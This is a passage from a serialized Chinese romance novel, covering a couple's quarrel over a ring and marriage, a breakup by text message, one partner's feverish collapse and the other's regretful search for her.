谢舒毓静静看着她。 她疑惑,“不喜欢吗?是不够大,还是不够圆,你喜欢那种欧美人的大屁股?” 谢舒毓“啪啪”给了她两巴掌,“让你不听话。” 她总说外面那些小妖精怎么样怎么样,事实上,都不及她万分之一。 “哎呦不生气嘛,你昨天还说,我们好不容易才见一次,要珍惜在一起的每分每秒。” 温晚气人这方面格外出类拔萃,哄人也是,反正自己气的自己哄,她有的是招。 “我买了一件新衣服,本来昨晚想穿给你看,但你太心急,我也就没来得及。” 手指点点,温晚让谢舒毓去柜子里找,找到拿出来给她穿上。 谢舒毓坐在床边不动。 温晚催促,“快点嘛!”还踹了她一脚。 依言照做,谢舒毓打开柜门。 温晚身上的味道,也是她衣柜里的味道,说不出,但很好闻,谢舒毓把自己的衣服挂进去,也能沾染一些。 她每次搭车离开之前,换身干净衣服穿,回去的路上,一直能闻见味道,会舒服很多。 谢舒毓跟中介看房子的时候,就想好,要给温晚弄一个巨大的衣帽间,这样即便是温晚出差不在家,她也不用过分紧张,可以抱着枕头被子去衣帽间里睡。 温晚说买了新衣服,谢舒毓猜想可能是裙子一类,但找了半天好像没有一件不是她穿过的。 “布最少的一件。”温晚提醒,自己在那乐,满床打滚,嘻嘻笑。 谢舒毓找到了。 跟她做饭系的那件小围裙是一种风格,但全部布料加起来,还没半片围裙多。 小配件倒是不少,手环脚环,项环,还有头上戴的。 温晚娇俏伸出手,“来给我穿上吧。” 哪还跟她发得起脾气,谢舒毓笑得不行。 “怎么想的啊。” “逗你开心啊。”她床上打个滚,“不能让你白跑。” 谢舒毓给她戴了手环,拿起像破毛巾一样的上衣,跪倒在床边地毯,脸埋进被褥,笑得直不起腰。 温晚又踹了她一脚,“干嘛呀,快点。” 笑够,谢舒毓抬头,“你不是说昨天弄得有点疼。” 她把手边的布料放去一边,手按在温晚膝盖,“你让我看看。” 温晚霎时脸红透,往后缩了缩。谢舒毓两手托在她膝弯,一把将她扯回来。 她低低叫,往后爬,谢舒毓扯着手腕把人擒住,声线低沉,“不弄,我就看看。” 房间窗帘紧闭,手机电筒打光,谢舒毓就着亮看,明明戴了指套,还是磨得有点红。 她感觉到温晚在发抖,很想舔一口,又怕一开始就停不下来,挣扎许久,忍住了。 “上卫生间的时候疼不疼。”谢舒毓问。 温晚摇头,“还没上。” “喝水少了。”谢舒毓把那堆破布收起来,床头的保温杯拧开递给她。 温晚接过,仰头乖乖喝了半杯,两片干燥的嘴唇重新变得亮晶晶。 谢舒毓把小衣服重新挂回去,“今天休息吧。” 温晚也不是很想做,就是怕谢舒毓生气。 她也知道自己有时太任性,脾气太差,但就是改不了。每次她说胡话,干坏事,也心虚,想不到什么好办法解决,只能献祭自己。 她跳到谢舒毓后背,给人脸颊盖了个章,“你别跟我一般计较,好吗?我不骂小蛋糕了,她是你同事,又是你学妹,我确实不应该那样说她,我只是吃醋。” 顿时就心软的一塌糊涂,谢舒毓最受不了她说好话。 “你给她起的外号,叫小蛋糕。”谢舒毓问。 温晚“嗯”一声,“软软的很可爱啊。” 高兴就喊人家小蛋糕,不高兴就喊人家小绿茶。 “绿茶味小蛋糕。”温晚自己把自己说乐了,仰面倒在床铺,“哈哈哈”笑。 谢舒毓转身,看着她,好无奈。 “买手机!”温晚爬起,“然后去外面吃饭,公司附近新开了一家日式烤肉,我带你去。” 手机店也在公司楼下,温晚给谢舒毓买了新得,旧手机拿去抵了几百块钱。 谢舒毓耳机还是很多年前买手机送的有线,温晚一并换了。 “其实还是有线的好,无线充电很麻烦。”谢舒毓攥着她的旧耳机,舍不得扔。 “网上有,我给你买,寄到你宿舍去。” 温晚说:“都给你安排上,你想用什么就用什么。” 钱这方面,温晚一向大方,谢舒毓跟她没什么好客气的。 只是吃人嘴短,拿人手短,谢舒毓有些不忍心了。 温晚很好啊,虽是任性了些,调皮了些,她们又不是第一天认识,早就习惯了。 愿意跟她待在一起,就代表可以忍受。 “那你能不能跟我说说,为什么不想回家。” 在烤肉店,谢舒毓发誓,这是最后一次问。 温晚似乎没听见,拉着谢舒毓凑到障子门边,神神秘秘的。 “你别说话,我好像听见个熟人的声音。” 以为她又是存心打岔,谢舒毓没理。 温晚起身,门拉开条缝,回头招手,“你来。” 她再三催促,谢舒毓跟着凑过去看,一男一女,没什么特别。 “那个男的是销售部的田老狗,但她身边那个女的,明显比他小了二十岁!肯定不是他老婆。” 之后就没几句好话了,温晚说,这个姓田的老东西平时怎么怎么跟她作对,她如何如何生气,等等。 “那你还天天加班。”谢舒毓拿手机拍了几张照。 温晚回到位置,雪花肥牛扔进烤盘,“其实之前有好几次,我想回去的,但每个人都开始催我以后,我就不想回去了。” 好吧。 谢舒毓收起手机,被爱都有恃无恐,她明白了。 那就直说了。 “下周得赶稿,我可能没时间过来找你了,提前说一声。” 谢舒毓端起饮料喝了口,抬眼观察她神色。 “没关系,我可以去找你。”温晚大大方方的,竟然没生气。 “我得画图,没空陪你。”谢舒毓把烤好的肉全夹到自己碗里。 温晚拿手机扫码,又点了两盘,“没关系啊,我就在你房间玩,自己打游戏,看剧,或者找叶子跟阿音她们玩。” 她弯起眼睛笑,“我那么大一个人,你还怕我照顾不了自己啊。而且你放心,你工作的时候我绝对不会打扰你,我肯定乖。” 谢舒毓没说什么,继续吃肉。 一低头,碗边瞧见个红绒小盒,开启状态,里面两枚小小的钻戒。 蓦地抬头,谢舒毓看向温晚。 计划得逞,温晚合掌,开心大笑。 “来来来,我给你戴上。” 她托起谢舒毓的手,低头分辨,找到戒圈稍大些那枚,“说在一起,但都没送你什么礼物,两枚戒指,我们一人一枚,50分,不大不小,你别嫌弃,因为我觉着买钻石不划算,不如以后给你买黄金……” 指节弯曲,谢舒毓手握成拳,“可今天并不是我们的婚礼。” 温晚手僵在那。 雪花肥牛滋滋作响,被架在烤盘上的,还有她们。 “就打算一直用这些小手段哄着我,吊着我,继续跟你不明不白吗?” 谢舒毓不可否认,她很喜欢。 但不够,远远不够。 有人愈发狂妄,横行无忌,就有人愈发贪婪,得寸进尺。 第66章 [我们分手吧。] 眼下的局面,温晚显然是早有预料,也知道谢舒毓每周来来回回这么跑有多辛苦。 说是心虚也好,心疼也罢,这次她专程准备了礼物,期间也曾多次努力压制自己的脾气。 本来一切应该进展得很顺利,这周见面前她准备充分,把自己也当作礼品精美包装,做了好几个全身项目。 都怪那个小绿茶。 “我知道你辛苦嘛。”温晚在榻榻米上挪,挨去谢舒毓身边,揽着人胳膊,“爱情需要真诚,但确实也需要一些不痛不痒的小手段,所谓调情,对吧。” “而且你之前也答应过我,要给我时间的,才过去多久。你觉得辛苦,我也可以过去找你啊,去你宿舍玩,不打扰你,待在你身边就好。” 今天周末,吃完饭再过几个小时,谢舒毓就要走了。 留给她的时间不多,她俏皮眨眨眼,很知道自己的优势,不轻不重捏着谢舒毓的耳垂,往人脖子里吹气。 “要不待会儿我们回车里,试试在车上,嗯?”说话的时候,引着人的手四处游移。 谢舒毓几乎要被说服。 再低头,看到手边戒指,更觉刺眼。 30分,50分,1克拉,跟钻石的大小没关系。 交换对戒环节,本该出现在她们的结婚典礼,现在却搁置在油腥点点的烤肉餐桌。 世人大多奉行及时行乐,谢舒毓恰恰相反,她更为渴望长久的安稳,好比带盆土的绿植和鲜切花之间的区别。 前者,只要悉心呵护,未来必然是一片绿荫光景,后者,再是浮华灿烂,也无法阻挡时间推移带来的衰败死亡。 一时欢愉,不能满足。 “那你说,你准备在这里待到多久?”谢舒毓问道。 “又来。”还没怎么哄,温晚就开始不耐烦,撒开她手,“从小到大,我的脾气你不是不知道,起床,写作业,吃饭,人家越是催促,我就越是毛躁。” 她开始埋怨谢舒毓,“你要不催,说不定我早就回家了,我在这里也很不好过,一个人孤零零的,但你老这样,家里人也合起伙骂我,把我说烦了,逆反心逼出来了。” 这可真是够离谱的。谢舒毓皱眉,“你是小学生吗?” “反正我就是不喜欢被人指挥领导。” 温晚歪着身子坐在那,捏一双巨长的筷子翻肉。 谢舒毓直勾勾看着她,第一次意识到,做朋友和做恋人是两回事。 做朋友你顺着她就好,反正不是每天见面,不用跟她过日子,享受当下,无所谓分开后她生活中的一切,她吃饭慢吞吞,她洗澡的时间特别长,她喜欢抢在你前面去上卫生间…… 做恋人,更为严格,你会忍不住想控制她,对她产生一个又一个要求,她的优点被放大,她的漂亮可爱,她的古灵精怪。她的缺点同样。 恼怒时,几乎把她批判得一无是处,可事实真的是这样吗?她真的有你想象的那么糟糕吗? 那她眼中的我,应该也是差不多的,大家都在互相忍受对方。 谁也没有多坏,谁也没有多无辜。 不存在决定对错,这世上不是只有黑白两种颜色。 “那你还要我等到什么时候?” 谢舒毓问,向她讨一个准确的时间。 “我们现在不是已经在一起了,余生那么长,我也想体验些不一样的,否则感觉一辈子就定性了,可我明明还那么年轻。” 温晚似乎把结婚这件事想得特别恐怖,不知道是不是朋友圈那些已婚同学的糟糕经历看得太多。 谢舒毓更不能理解,“又不要你生小孩,你怎么就定性了,你有喜欢做的事,我会拦着你吗?” “你现在就在拦着我,我不想回家,你非逼着我回家。一回家我天天挨骂,你是优等生,乖孩子,从小到大,你把我衬托得一无是处,因为你,我挨的骂还少吗?” 温晚说她记得特别清楚,每年期末,学校开表彰大会,给优等生发奖状,她回家必定挨骂。 为什么人家小筷子总有三好学生奖状,你什么也没有。 “甚至连老师也这么说,你跟谢舒毓在一起玩,你怎么就没学到她身上半点的好。” “到现在,家里人还是经常把我们拿出来比较,你在杂志社当插画师,你多厉害,我给别人打工我就是傻狗,明明大家都是社畜,还分出个高低贵贱来了。” 一口气说完,温晚摔了筷子,爬去坐在墙角坐着,“你不是非要我说出个所以然,我现在说了,你满意了不。” “问题是我要满意吗?” 谢舒毓始终心平气和,“我只是希望你说出你的顾虑,我们一起面对,解决。你总不能一辈子在外面,永远不回去了,你忘了你之前怎么跟我说的,现在好,到手了,就不在乎了是吗?” “你哪儿来那么多反问句,哪儿来那么多大道理,既然在一起,你就不能多顺着我点。”温晚撑身质问。 “我还怎么顺着你,我工作那么忙,每周搭车过来找你,一个人来一个人走,你体谅过我?”谢舒毓反问。 “那你别来。”温晚赌气。 谢舒毓视线变得茫然。 温晚恐慌,嘴上却还是不饶人,“怎么,后悔了,想跟我分手。” 没有立即回答,谢舒毓起身收起那个戒指盒。 她知道温晚的脾气,她一走了之的后果,就是戒指盒被丢进垃圾桶,或是小区马路对面那条河。 带走戒指盒,保留一份羁绊,也确实是心疼钱。 谢舒毓把碗里最后几片肉吃了,“不用送,这次我自己回去,我们彼此冷静一下吧,我也不是跟你赌气,下周确实有很多工作要忙。” 猝不及防,温晚眼眶酸了一下。 所以戒指都摆出来了,她还是不明白,给两句好听话,正儿八经求个婚就那么难。 “我戒指都给你买了!”她大声吼,下半句却怎么也说不出来。 她们一个在东,一个在西,好像根本没搭上线,各想各的。 温晚腾地站起,又一屁股坐下,“行,你走,你以为你有多了不起,我告诉你,你根本没什么了不起。” “我没什么了不起。”谢舒毓起身去拎包。 来的次数多了,她在温晚这座城市暂时的家,留下一堆的换洗衣服,也会把很多自己的快递寄到这里,比如拖鞋牙刷之类。 她尽量弱化距离感,随身的帆布包里只有耳机、充电机、身份证和纸巾等。 没有行李,好像就没走多远。 温晚想要的到底是什么,她曾经努力钻研过。 但沟通真的是特别特别需要考验耐心的一件事,来来回回跑,她有时觉得特别不公平,为什么总是我来找你。 当然,现实问题也不能全盘否定。 宿舍小,条件差,四处冷冷清清,厨具欠缺,连饭都没办法做,现在乌玫来了,更多不便。 谢舒推开门穿上鞋走出去。 前台结完账,她回头,温晚气冲冲追出来。 不想在店里吵,谢舒毓加快脚步,下楼走到店外人行道。 再次回头,那浓艳的一抹却远去了,朝反方向,往停车场,提裙落荒而逃,有晶莹的泪意在日光下闪烁。 谢舒毓朝前走了几步,想追过去的。 是不是恋爱中的人都会变这样,变得拧巴,明明可以好好说话的,明明两三句就能说清楚的,但就是不想直说,希望对方懂得。 可谁也不是谁肚子里的蛔虫。 谢舒毓没跟别人谈过,做朋友和做恋人也完全是两码事。 恋爱到底要怎么谈,她不会。 学敏姐说,两个人在一起,磕磕绊绊是难免的,还说吵架其实是好事情,说明对另一半还有期待,双方都不是死水一潭。 可没说吵架的时候该怎么办。 那些所谓过来人经验,好像也不是特别适用。 拿起手机,谢舒毓想给温晚发消息,又不知道该说些什么。 她们在一起的时候,从早到晚话讲都讲不完,还经常说着说着就吵起来,你追我赶的。 是距离。 于是更坚定,把她拉回身边的决心。 周一下午,谢舒毓主动联系房屋中介,询问进度。 “随时可以签约,就等姐的消息。”那边回答。 担心被骗,谢舒毓网上找了些视频学习,周二下午,房产中介亲自开车来接,房东也到场,三方一起把合同签了。 中介说,最多半个月就能拿到房产证。 她们分开的第一个周末,谢舒毓坐在宿舍的小房间里画图,窗帘紧闭着,她不分白天黑夜,把自己完全丢给工作。 期间,没有电话信息。 她们分开的第二个周末,房子全部手续办完,只差房产证。 给绯红的稿件完成一半多,暂时可以松懈下来,她们分开的第三周,临下班前两个小时,谢舒毓左思右想,还是买了张无座票。 温晚当真有本事,她不找她,她也可以一直不找她。 谁也不找谁,那距离结束还有多远。 总要有人妥协。 下车,温晚家附近超市买了菜和肉,谢舒毓进楼道,按密码锁的时候,不知道是提东西走一路,手上有汗,还是别的什么原因,她连续三次试错,密码锁狂响。 她把塑料袋放在脚边,大拇指捏着裤缝线搓了几下,猝不及防,门从里面打开。 一堆鲜艳的红男绿女坐在客厅餐桌边,齐转头朝她望来。 “你是……”开门的女生手指着她,皱眉,陷入记忆漩涡。 闻到浓烈的火锅香气,谢舒毓都没来得及看清餐桌边到底坐了几个人,其实有没有她要找的那个,说声“抱歉”,决然转身离去。 人家早说过的,她不缺朋友,也不缺人给她做饭。 电梯里,谢舒毓给她发信息。 [我们分手吧。] 第67章 爱会褪色,会消失,会转移 门开启的瞬间,谢舒毓有怀疑自己走错楼层。 匆匆一眼,她来不及看清室内装潢,但面前女生脚下穿的那双凉拖鞋,她决计不会认错。 白色,鞋面镶嵌有立体黑耳朵小狗,网上大把,但不同楼层同一户型,出现同尺码同款的概率几乎为零。 如果只是拖鞋,谢舒毓其实都不是特别肯定。 重要的是人,给她开门那人。 还有人脑袋上长的那张脸。 有些不合时宜,谢舒毓在此刻跟温晚狠狠共情了,明白她为什么总在背地说乌玫坏话。 那个小君,确实哪哪儿都不如她。 温晚曾说过喜欢她长发,几个月过去,谢舒毓头发蓄长已经垂过肩膀,董益君却跟上次见面大不同,剪短碎发,黑耳朵小狗凉拖穿在脚上,空空的,连脚都不如她大。 这种想法特别幼稚,但她就是忍不住比较。 可那又怎么样,温晚喜欢。 喜欢处处不如她的小君,胜过喜欢处处强过小君的她。 大脑空白,如被闪电劈中,门前停留不过三五秒,神智回笼,谢舒毓想起温晚曾说过,她一个电话,全世界都会立即围拢到她身边…… 温晚不缺朋友,不缺人爱,她有钱,漂亮,出手大方,多的是人为她前仆后继。 谢舒毓算什么,曾经围绕在她脚边的一只舔狗罢了。 她们失去联系的这几周,谢舒毓多希望温晚主动联系她一次,吵架也好。 但始终没有。 温晚有小君陪了,还不止一个小君。 自我保护机制启动,下达逃离的指令,超市购物袋扔下不要,谢舒毓钻进电梯轿厢。 [我们分手吧。] 打下这行字的时候,她手都在抖,电梯里没有空调,闷热堆积,她恐慌到忘记呼吸,罕有的濒死感。 信号不好,消息一直转圈,发不出去,“分手”二字好像活过来了,钻出手机屏幕,汲取她生命的能量,持续扩大、膨胀,直至塞满整个电梯轿厢,将她挤压到没有一点生存空间。 “叮——” 电梯门开,不等她反应迈步,门外等候的人群蜂拥,她推开周围阻碍,不理会身后尖锐谩骂,机械挪步,走出楼栋。 夜风迎面而来,催动树响,骑滑板车的小孩撞在她大腿,她下意识护住,转手又推开,朝着更深的黑暗跑去。 风钻进衣领和袖口,她后知后觉,自己满身热汗,又被迅速带走体温。 不想被找到,更害怕其实根本没人来追,谢舒毓一口气跑出小区,第三次,来到半条街外那片小广场。 长椅,台阶,都是她熟悉的,她停在树下,拿出手机查看,消息已经发送,但没有回复。 多久,从下楼到现在,有十分钟了吧,足够温晚反应的。 谢舒毓笑起来,灼热的泪液却模糊视线。 挽留,道歉,确信自己什么也等不到了,人家根本不在乎。 否则怎么会把董益君又叫到家里来,说不定今天就是她们的复合仪式,才把一堆狐朋狗友喊来喝酒聚会。 那个早就烂熟于心的号码删除备注后拉入黑名单,微信,企鹅,包括微博,列表全部清除。 事后想起来网络上的联系方式忘记拉黑,讲不清楚是不是给自己留下的最后一点余地,还是当时真的马虎了。 所以她们为什么非要在一起,明明做朋友已经很好了。 这次手机和身份证没有忘拿,也不会有人哭得上气不接下气满世界找她。 急迫缩回让自己感觉到安全的地方,擦干眼泪,谢舒毓在路边拦了辆出租车。 上车前,她特意翻包检查,身份证在,手机也在。 其实温晚还是有很多方式可以联系到她。 叶子,阿音,还有群聊,甚至是李副校长。 车开上高架桥,谢舒毓最后一次回头,心里的许多疑问和猜想化作眼泪,不知不觉,布满脸颊。 到底是在惩罚谁。 说完分手,并没有感觉好受一些。 好想把手机从车窗里扔出去,逃避从来不被偏爱和重视的事实。 默默忍受,不让司机疑心,连哭泣也无声,直到后半程迷迷糊糊睡过去,梦到车子飞出大桥,从半空跌落,她全身浸泡在水中,跟随湍急的河水沉浮,最终被掠夺呼吸,化作河底的一具无名枯骨。 “小姑娘醒醒,到了。” 被推醒,谢舒毓猛地一颤,后排坐直身体。 好心的司机师傅说她缺乏警惕,太不小心,“还敢睡觉,遇见坏人怎么办。” “对不起。”谢舒毓拿出手机,扫码付款。 “早点回家吧,在下雨了。”司机师傅叮嘱。 抬头,豆大的雨点砸落在眼皮,凌晨一点,四处都静悄悄,只有孤独的路灯在亮。 小区交房才一年多,入住率不高,夜深了,路上一个人也没有,她淋雨慢吞吞走,巨大的失落感袭来,不免产生质疑。 活着究竟有什么意思。 没有爱,活着究竟有什么意思。从前,她以为,温晚一定是爱她的。 曾经或许有,但爱有期限,爱有深浅,爱会褪色,会消失,会转移。 手湿了,打不开宿舍门,最后的理智支撑,谢舒毓默默祈祷,乌玫在家。 门从里面打开,光亮溢出,再也支撑不住,谢舒毓倒在门前,开始干呕。 “学姐!” 乌玫惊呼一声,忙弯腰去搀。 跪在门前地毯,谢舒毓急忙推开,“别弄脏你。” 身体剧烈抽动,但她已经超过十二小时没有进食,什么也吐不出来。 “你不是去找那个,谁,怎么会半夜跑回来?” 从来没遇见过这种情况,乌玫急得团团转,“你淋雨了,还喝酒了?为什么会呕吐。” 开始发抖,耳鸣,头痛,身上到处都好疼,还很冷,湿发紧贴在面颊,谢舒毓不敢想象自己现在有多狼狈。 “我叫救护车!”乌玫喊道。 深吸一口气,撑墙站立,谢舒毓请求,“你可以扶我去浴室吗?” 乌玫仔仔细细把她上下查看,确定没有外伤,“学姐,你到底怎么了。” “没事。”谢舒毓哑着嗓,一步一挪,“我洗个澡就好了。” 乌玫不放心,“要不给你家人打电话,让她们来接你回去,或者留下来照顾你?” “我没有家人。”谢舒毓走进浴室,掰开水龙头,胡乱躺在地上,任由冰冷的水流冲洗面颊咸涩。 像只被烫到的小猫,乌玫惊惶四窜,冲进浴室想关掉水龙头,看到脚边的人克制不住在发抖,恍然意识到什么,忙伸手取下花洒,等待水液变暖,才小心翼翼浇淋在她身上。 “学姐,你感觉暖和一点了吗?” 暖和,很暖和,身上好像也没那么痛了。 乌玫离开浴室后,给左叶打了电话。 提出交换紧急联系人方式的是谢舒毓,她担心乌玫独自一人,在外出现状况,无人料理。 谢舒毓给乌玫的是左叶的电话。 交换紧急联系人方式时,对谢舒毓来说,最亲近的人,应该是温晚,但她们相隔很远,即便她真出了什么事,温晚也帮不上什么忙,只能干着急。 左叶开车到楼下,谢舒毓刚洗完澡从浴室出来,不吐了,也不发抖了,散着头发,捧一杯热水坐在房间的床边。 左叶拿着车钥匙进屋,鞋都来不及换。 她什么也没问,见谢舒毓脸红得有点不正常,手按在她额头。 “发烧了。” “啊?”乌玫又吓了一跳。 “没事。”左叶回头安抚,说辛苦了,“改天请你吃饭,今天人我带走了。” “学姐头发还湿着。”乌玫提醒。 于是左叶找来风筒,帮谢舒毓把头发吹到半干,衣柜里找件秋天的粗毛线针织衫给她套上,拿了手机和充电器,揽着她出门,下楼到车库。 情绪波动较大,又淋雨,谢舒毓躺在后排座椅,迷迷糊糊的,中途听见左叶下车,说去买药。 她又开始哭,从来没有过那么多眼泪。 明明说分手的人是她。 左叶回到车上,叹了口气,湿纸巾给她抹了一把泪,药片一颗颗给人塞到嘴里,水拧开递过去。 “还能不能自己喝,不能我真给你拉医院去了。” 强撑爬起,谢舒毓伸手去接水瓶。 左叶往旁边躲了下,“不用伸手,张嘴就行,你现在不一定能握得住。” 谢舒毓就把嘴巴张得大大的,圆圆的。 左叶无奈笑,歪头看,“不用张那么大,药片都化了,你也不嫌苦。” 喂水喂了大半天,两人还算有默契,没弄湿衣服。 左叶扶她躺在后座,外套脱了给她盖着腿,回到主驾位,看到手机上几个温晚的未接,没理。 开车返回住处期间,等红绿灯,左叶想摸根烟来抽,顾忌后座病人,还是忍住了。 折腾半宿,到左叶家,快凌晨三点,谢舒毓还在发烧,但跟她刚进屋门那会儿比,已经好太多了,至少她还有些微的自控能力,可以独立行走,耳鸣症状也减轻许多。 进门,换了拖鞋,谢舒毓自己爬到左叶客厅沙发上坐着。 左叶摸到饮水机后面的开关,“嗒”一声,“听你同事说,你一进屋就趴在地上干呕,应该是没吃东西。” 她去餐桌上搁的零食箱子里翻,“黑芝麻糊,喝点?” 谢舒毓点头,仰靠在沙发背,气若游丝,“你小声点,别吵到阿音睡觉。” “哪里还有阿音。” 左叶自嘲笑笑,去厨房拿了两个陶瓷杯,“我也冲一杯。” “阿音不在?”谢舒毓探身看了眼卧室方向。 “早分了。”左叶把黑芝麻糊粉倒在杯子里,“姐现在跟你一样,老孤寡。” 第68章 她的小把戏不管用了 温晚在卫生间抱着马桶哇哇狂吐时,听见外面门响,第一反应是谢舒毓。 她最喜欢搞突然袭击,玩笑说查岗,像故事里的田螺姑娘,趁人不在,准备好满桌丰盛饭菜,只为在门开启的瞬间,惊喜抬头望来,笑着朝人走去,说“老婆你终于回来了”。 她们断联的第一周,温晚照例在公司待到很晚,但她内心焦灼根本无法完成工作,窝在皮沙发上心不在焉打游戏,连输几把,最后干脆开了队伍语音,站在泉水跟人互喷。 最后因为挂机和脏话被举报,游戏玩不成,时间也差不多,她拎着包回家。 谢舒毓没来,家里空空的,冷锅冷灶冷床,不开灯的房间,像浸泡在湖底的牢笼。 温晚偶尔也反思,觉得自己是不是太作了。 但她始终是个自我的人,反思不了多久,就“哼”一声把烦恼踹开,给朋友们打电话,约出去喝酒,彻夜狂欢,直至天明。 谢舒毓曾说过,喜欢温晚的豁达乐天,喜欢她从不内耗,烦心事坚决不过夜。 所以,喜欢跟她待在一起。 任何事物都有两面性,那时候谢舒毓应该没想过,假如有一天,她成为温晚的烦恼,也会被毫不留情一脚踹开。 她们断联的第二周,温晚仍是抱有期待。 那天她出了个短差,去邻市的几个工厂考察,倒不用刻意找事打发时间,到小区车库,已经是晚上十一点。 按下指纹锁,门拉开条缝,黑暗似泥浆涌出,淹没脚背,又像见光生长的毒藤,迅速绞缠全身,将她包裹得密不透风。 谢舒毓还是没来。 坐在换鞋凳,门还敞着,走廊灯落在脚背,温晚想起谢舒毓那次在西餐厅,羞羞答答,说梦到她们接吻,但没有亲到。 好巧,她没告诉她,她也做了一样的梦。 但不止接吻。 就在这里,就在她现在坐的这个位置,门还没关,她们迫不及待吻到一起。 她牵着谢舒毓的手往那去,隔着裙布,没怎么着就流得一塌糊涂。 后来她们去了沙发,再后来是浴室,床上,甚至洗手台前,对着镜子,她们换过很多个地方。 还有在老家县城那段日子,她们明明很快乐。 怎么会变成现在这样。 坐在门前发呆,手机响,温晚接起电话,反应了一会儿,才听出对方声音。 这套房子是小君转租给她的,小君换工作,要搬去别的地方,她那时候正好也需要一套房子,就干脆住进来。 生活中,小君确实给她提供了很多帮助,她们现在还是朋友,手机上偶尔节日问候,每季度发起转账时有的没的聊两句。 因为确实没在一起多久,感情也没多深,彼此问心无愧,相处也不觉尴尬。 房东儿子要回国,给出了搬离期限,小君说,同小区可以给她重新找一套。 温晚没有立即回答,说考虑一下,两分钟后回拨。 “去喝酒。” 谢舒毓在宿舍的小房间熬夜画图到天亮,温晚无所事事,夜店嗨整晚,早上五点,路边小店吃一根油条,喝一碗豆浆,才踉踉跄跄回到家,洗澡睡觉。 每次熬大夜,她都要睡足十二小时,醒来精神充沛,吃嘛嘛香,心情也大好。 等到周一,工作忙碌起来,烦心事更没空去想,她排解寂寞的方式庸俗却有效。 谢舒毓跟她完全是两种人,谢舒毓是个简单的人,温晚都不需得费心去猜谢舒毓不来找她的每周末到底在干什么。 看书,看电影,画画,要么就逛公园,拍摄很多植物、昆虫和鸟类的照片。 她最近接了个活儿,估计要忙上好一阵。 简单的谢舒毓让人放心,也让人恼火。 温晚偷窥她的微博,看到她每天给乌玫做饭。 糖醋排骨、拔丝地瓜、番茄土豆炖牛腩,卤的鸡爪和鸭翅,甚至还有花样百出的甜点和饮品。 谢舒毓从读者见面会后,每周营业3-4次,最近全都是饭,菜碗搁的那张桌,温晚认得,是她宿舍客厅里摆的。 在宿舍,两人份餐食,那只能是跟乌玫。 像是一种无声的博弈,温晚觉得她就是故意的。 她们断联的第三周,温晚想,她应该快来了,每次她们吵架,都是谢舒毓主动道歉认错。 温晚生气她给别的女人做饭,也把朋友们叫到家里来吃火锅。 小君第一个到,谢舒毓的拖鞋被她穿了,温晚本想提醒,心中一个歹毒的念头升起,最终什么也没说。 门响,紧接着,发出尖锐刺耳的警报声,客厅里坐的几个问要不要出去看看。 温晚撑墙站起,去洗手台漱口。“估计是走错楼层。” 如果是谢舒毓,现在已经按开指纹站到客厅里跟她吵架了。 “是个高高瘦瘦的女生,提个超市的购物袋,什么也没说,自己走了,但把袋子搁在门口。” 小君拍拍她后背,“你别喝了,失恋了还是怎么着,最近老喝酒。” 温晚掬水洗了把脸,抬头,对镜恍惚几秒。 “哦,应该是她,她来了。” “谁?”小君问。 “我女朋友。”温晚什么都知道,“你穿了她的拖鞋,她有洁癖,各方面的,她本来是来给我做饭的,现在生气走掉了。” 小君低头,看了眼脚下,“那你怎么不提醒我。” 家里没有鞋套,另外几个朋友穿的都是那是浴帽式的保鲜膜。 “我就是故意的啊。”温晚拿纸巾擦去脸上的水。 “她天天给别的女人做饭,我也把她的拖鞋给别的女人穿。” 温晚笑起来,有点神志不清的样子。 两分钟后,她收到谢舒毓消息。 [我们分手吧。] 笑不出来了。 饭局接近尾声,朋友们提议出门去嗨,温晚坐在客厅沙发给谢舒毓打电话,摇头,“你们去吧,我临时有事。” 小君帮忙送走朋友,又体贴收拾了满桌残羹,温晚一直在给谢舒毓打电话,看那双黑耳朵小狗拖鞋在屋里走来走去。 她成功气到谢舒毓了,把人气跑,但心里好像并没有产生丝毫报复的快感。 [我们分手吧。] 看到消息的瞬间,温晚有些茫然,酒精麻痹了大脑神经,她半醉半醒,连续打了三十多通电话,终于想起来给谢舒毓打语音的时候,恍然发觉,她被删了,被拉黑了。 分手,温晚提过很多次。 她们在一起的时间不长,异地缘故,却常常都在吵架,手机里聊着聊着,温晚就赌气说分手。 没接到她的语音电话,肯定是在跟别的女人鬼混,分手。 打的是语音不是视频,什么意思,难道你不想看到我,分手。 说好一下班就打电话,迟到五分钟,你根本不重视我,分手。 从早到晚,平均一天分手三次。 谢舒毓每次都耐着性子哄,解释缘由,温晚也没继续刁难,就是想她听轻声细语说话,亲亲宝贝地喊。 分手游戏,温晚乐此不疲。 没想到现在被分手的人变成自己,谢舒毓是个狠人,说分就分,才几分钟,联系方式全部删除拉黑。 温晚联系不到她,抬头看一眼钟表,估摸着人已经上了高速,拿上车钥匙,准备出门。 小君拦住,“你去哪里?” “找她。”温晚回答。 小君重复问哪里,温晚报了个地名,小君无奈地看着她,“你真的喝醉了。” 是哦,温晚想起来,她喝酒了,不能开车。 零点以后,高铁不运营,所以谢舒毓每次都只能打车走。 温晚喝得醉醺醺,即便只是普通朋友关系,出于关心,小君也不允许她独自上路。 只能买第二天一早的车票回去。 “你正好休息休息,洗个澡,踏踏实实睡一觉。” 小君前不久也分手了,挺有过来人经验的,“有什么话,最好清醒的时候说。” 温晚没办法保持清醒,她的各种小把戏不管用了,可爱变成可恶,没有观众的舞台,她是自娱却不能自乐的红鼻子小丑。 上一次坐高铁回去,是跟谢舒毓,她再一次看到谢舒毓口中的大湖,本能在经过隧道时憋气,却没有推小车的乘务员从她身边经过,停下来,让她买一包好丽友。 谢舒毓不在,真的买到好丽友,她又分给谁吃? 眼泪不受控制掉下来,温晚那时还在期待跟谢舒毓见面,像往常那样,一通撒娇卖乖,哭天抢地就可以把人哄回来。 按开门锁,温晚鞋都来不及换,提着包跌跌撞撞往里冲。 她压下门把手,房中却空空,谢舒毓离家,会在床上铺一层防尘罩,她微信里说过的,当时还发了照片。 现在防尘罩好好地罩在床上。 温晚爬到床底下去看,也没有。 才早上九点多,乌玫听见响动,睡眼惺忪走出卧室,站在门口喊了声“学姐”,定睛看清趴在床边地毯上那人,顿时吓一哆嗦。 “你怎么会在这里?!” 温晚爬起,冲进乌玫卧室,床上床下,包括衣柜也全部检查过。 “你有病啊!”乌玫急得大叫。 “人呢?”温晚回头。 乌玫气得直跺脚,“不知道!” 她骂她神经病,脑子被驴踢了,什么龌龊事都想得出来。 一转头,见她泪流满面。 “对不起,小蛋糕,真的特别特别对不起,我不应该在背后说你坏话,恶意揣测你,你原谅我吧。” 哭得梨花带雨,温晚紧紧握住乌玫的手,几乎要给她下跪,“求求你告诉我,谢舒毓到底在哪里,我好着急。” 乌玫觉得,温晚真是个奇怪的人。 